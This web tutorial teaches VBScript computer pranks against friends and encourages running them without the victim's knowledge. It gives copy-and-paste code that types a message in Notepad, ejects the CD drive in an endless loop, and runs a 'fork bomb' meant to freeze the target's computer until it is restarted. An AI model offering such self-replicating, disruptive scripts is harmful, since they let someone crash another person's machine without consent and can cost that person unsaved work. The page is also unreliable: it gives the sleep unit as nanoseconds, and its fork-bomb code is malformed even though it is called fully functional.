vbscript (.VBS) Computer Pranks

 

What is visual basic script and how can I use it to prank my friends?

 Visual Basic Script files are programs that can be run on a Windows computer. They are very easy to make and can be used for useful purposes, such as to automate tasks, or for less useful purposes, like hilarious pranks for your friends. These programs are great for pranks because they can control many computer tasks (even the keyboard and cd drive) and can run without the knowledge of the person you are pranking. Visual Basic Script files, also called vbscript files, are text files with the extension ".vbs"
Remember, never create programs with an intent to harm a computer permanently.
All you need to do to write a visual basic script file is:

1. Open "Notepad". It is the standard text editor on Windows computers.
2. Save the file with a .vbs extension. (example: "vbfile.vbs) You must do this for it to work.
3. Learn a few easy vbscript commands. Below are several examples and videos that can help you. Learning enough vbscript to make a prank takes only a few minutes.

Example Programs (With fully functional source code)

The codes listed below are fully functional. You may copy and paste them into a .vbs file and they will work when you run the file. Feel free to mix and match them to make prank files that do multiple things at once. These commands are pretty self explanatory (for example WshShell.Run runs a program, WScript.Sleep makes the computer wait for a given number of nanoseconds (1000 = 1 second)). To end any of these programs while they are running open the task manager and end the process.

• Opens notepad and "types" writes a message:

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 1000
WshShell.AppActivate "Notepad"
WScript.Sleep 2000
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you?"

• Opens the CD drive continuously (WARNING: THIS WILL OPEN THE CD DRIVE CONTINUOUSLY UNLESS THE PROGRAM IS STOPPED):

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

• Fork Bomb:  A fork bomb continously opens itself to overload and freeze a computer. It can be very annoying and entertaining. Once it is started it is difficult or impossible to stop without restarting the computer. NOTE: YOU MUST TELL THE COMPUTER TO RUN YOUR .VBS FILE's NAME. This will not work if you just copy and paste it unless you name your file "forkbomb.vbs":

For i = 0 to 10000000 Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad" WshShell.Run "notepad" WshShell.Run "TYPE YOUR FILE PATH HERE" Next